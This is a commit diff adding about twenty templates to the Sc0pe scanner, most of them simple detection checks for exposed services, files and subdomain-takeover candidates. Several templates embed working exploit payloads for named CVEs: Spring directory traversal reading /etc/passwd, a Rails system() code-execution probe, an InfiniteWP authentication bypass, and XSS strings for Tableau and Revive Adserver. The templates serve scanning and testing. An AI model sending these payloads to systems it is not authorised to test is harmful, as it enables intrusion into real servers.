Added 20+ new Sc0pe templates

templates/active/Apache_Solr_Scanner.sh

@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='Apache Solr Detected'
 URI='/'
 METHOD='GET'
-MATCH='<title>Solr Admin</title>'
+MATCH="Solr\ Admin"
 SEVERITY='P5 - INFO'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''

templates/active/Apache_Tomcat_Scanner.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Apache Tomcat Detected'
+URI='/404_DOES_NOT_EXIST'
+METHOD='GET'
+MATCH="Apache\ Tomcat"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py

@@ -0,0 +1,14 @@
+# Import any WebDriver class that you would usually import from
+# selenium.webdriver from the seleniumrequests module
+import sys
+from seleniumrequests import Firefox
+
+url = sys.argv[1]
+# Simple usage with built-in WebDrivers:
+webdriver = Firefox()
+response = webdriver.request('GET', '%s/en/embeddedAuthRedirect.html?auth=javascript:document.write(1+1336)' % url)
+if '1337' in response.text:
+	print("Vulnerable!")
+print(response.text)
+webdriver.quit()
+SECONDARY_COMMANDS=''

templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_1.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 1'
+URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd"
+METHOD='GET'
+MATCH="root\:|nameserver|\[extensions\]"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_2.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2'
+URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/resolv.conf"
+METHOD='GET'
+MATCH="root\:|nameserver|\[extensions\]"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-5405_-_Spring_Directory_Traversal_3.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5405 - Spring Directory Traversal 2'
+URI="/a/a/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../Windows/win.ini"
+METHOD='GET'
+MATCH="root\:|nameserver|\[extensions\]"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-8115_-_Revive_Adserver_XSS.py

@@ -0,0 +1,12 @@
+# Import any WebDriver class that you would usually import from
+# selenium.webdriver from the seleniumrequests module
+import sys
+from seleniumrequests import Firefox
+
+url = sys.argv[1]
+# Simple usage with built-in WebDrivers:
+webdriver = Firefox()
+response = webdriver.request('GET', '%s/www/delivery/afr.php?refresh=10000&")\',10000000);document.write(1+1336);setTimeout(\'alert("' % url)
+if '1337' in response.text:
+	print("Vulnerable!")
+webdriver.quit()

templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-8163 - Rails < 5.0.1 Remote Code Execution'
+URI='/?system(%27echo+$((1%2B1336))%27)%3ba%23'
+METHOD='GET'
+MATCH="1337"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-8772_-_IfiniteWP_Client_1.9.4.5_Authentication_Bypass_1.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-8772 - InfiniteWP Client 1.9.4.5 - Authentication Bypass 1'
+URI='/wp-admin/'
+METHOD='POST'
+MATCH="content\=\"WordPress\ "
+SEVERITY='P2 - HIGH'
+CURL_OPTS="--user-agent '' -s -L --insecure -H 'Content-Type: application/x-www-form-urlencoded' --data '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Citrix_VPN_Scanner.sh

@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='Citrix VPN Detected'
 URI='/vpn/index.html'
 METHOD='GET'
-MATCH='Gateway'
+MATCH="Netscaler\ Gateway"
 SEVERITY='P5 - INFO'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''

templates/active/Clickjacking.sh

@@ -0,0 +1,10 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Clickjacking'
+URI='/'
+METHOD='GET'
+MATCH='X-Frame-Options'
+SEVERITY='P4 - LOW'
+CURL_OPTS="--user-agent '' -s -I"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'
+SEARCH="negative"

templates/active/Contact_Form_7_Wordpress_Plugin_Found_1.sh

@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='Contact Form 7 Wordpress Plugin Found 1'
 URI="/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt"
 METHOD='GET'
-MATCH='Contact Form 7'
+MATCH="Contact\ Form\ 7"
 SEVERITY='P5 - INFO'
 CURL_OPTS="--user-agent '' -s --insecure"
 SECONDARY_COMMANDS=''

templates/active/Contact_Form_7_Wordpress_Plugin_Found_2.sh

@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='Contact Form 7 Wordpress Plugin Found 2'
 URI="/wordpress/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt"
 METHOD='GET'
-MATCH='Contact Form 7'
+MATCH="Contact\ Form\ 7"
 SEVERITY='P5 - INFO'
 CURL_OPTS="--user-agent '' -s --insecure"
 SECONDARY_COMMANDS=''

templates/active/Directory_Listing_Enabled.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Directory Listing Enabled'
+URI='/'
+METHOD='GET'
+MATCH='To Parent Directory'
+SEVERITY='P4 - LOW'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Drupal_Install_Found.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Drupal Install Found'
+URI='/install.php?profile=default'
+METHOD='GET'
+MATCH='Choose language | Drupal'
+SEVERITY='P3 - MEDIUM'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/JK_Status_Manager.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='JK Status Manager'
+URI='/jkstatus/'
+METHOD='GET'
+MATCH="JK\ Status\ Manager"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Jenkins_Scanner.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Jenkins Detected'
+URI='/login?from=%2F'
+METHOD='GET'
+MATCH="\[Jenkins\]"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Jetty_Version_Disclosure.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Jetty Version Disclosure Detected'
+URI='/'
+METHOD='GET'
+MATCH='Powered by Jetty'
+SEVERITY='P4 - LOW'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Jolokia_Version_Disclosure.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Jolokia Version Disclosure'
+URI='/jolokia/version'
+METHOD='GET'
+MATCH="\"agent\"\:"
+SEVERITY='P4 - LOW'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Laraval_Environment_File_Found.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Laraval Environment File Found'
+URI='/.env'
+METHOD='GET'
+MATCH="APP_NAME"
+SEVERITY='P3 - MEDIUM'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/TeamQuest_Login_Found.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='TeamQuest Login Found'
+URI='/teamquest/cgi-bin/login'
+METHOD='GET'
+MATCH='TeamQuest - Login'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Weblogic_Application_Server_Detected.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Weblogic Application Server Detected'
+URI='/'
+METHOD='GET'
+MATCH="Weblogic\ Application\ Server"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CORS Policy - Allow-Origin Wildcard'
+FILENAME="$LOOT_DIR/web/headers-htt*-$TARGET.txt"
+MATCH='Access-Control-Allow-Origin: *'
+SEVERITY='P4 - LOW'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Clear-text_Communications_HTTP.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Clear-Text Protocol - HTTP'
+FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
+MATCH="200\ OK"
+SEVERITY='P2 - HIGH'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Interesting_Domain_Found.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Domain Found'
+FILENAME="$LOOT_DIR/domains/domains-all-sorted_NA.txt"
+MATCH='admin|dev|portal|stage|prod|tst|test'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Interesting_Ports_Found.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Ports Found'
+FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
+MATCH='80|443'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-iv'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Interesting_Title_Found.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Title Found'
+FILENAME="$LOOT_DIR/web/title-htt*-$TARGET.txt"
+MATCH='admin|dev|portal'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Lack_of_SPF_DNS_Record.sh

@@ -1,7 +1,7 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='Lack of SPF DNS Record'
-FILENAME="$LOOT_DIR/nmap/email-$TARGET-*.txt"
+FILENAME="$LOOT_DIR/nmap/email-$TARGET.txt"
-MATCH='\[\+\] Spoofing possible'
+MATCH="\[\+\]\ Spoofing\ possible"
 SEVERITY='P4 - LOW'
 GREP_OPTIONS='-i'
 SEARCH='positive'

templates/passive/Possible_Takeover_Detected.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Possible Takeover Detected'
+FILENAME="$LOOT_DIR/nmap/takeovers-$TARGET.txt"
+MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Subjack_Takeover_Detected.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Subjack Takeover Detected'
+FILENAME="$LOOT_DIR/nmap/subjack-$TARGET.txt"
+MATCH='anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost\.io|ghost\.org|ghost\.com|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp'
+SEVERITY='P2 - HIGH'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Subover_Takeover_Detected.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Subover Takeover Detected'
+FILENAME="$LOOT_DIR/nmap/subover-$TARGET.txt"
+MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|modulus|unbounce|uservoice|wpengine|cloudapp'
+SEVERITY='P2 - HIGH'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''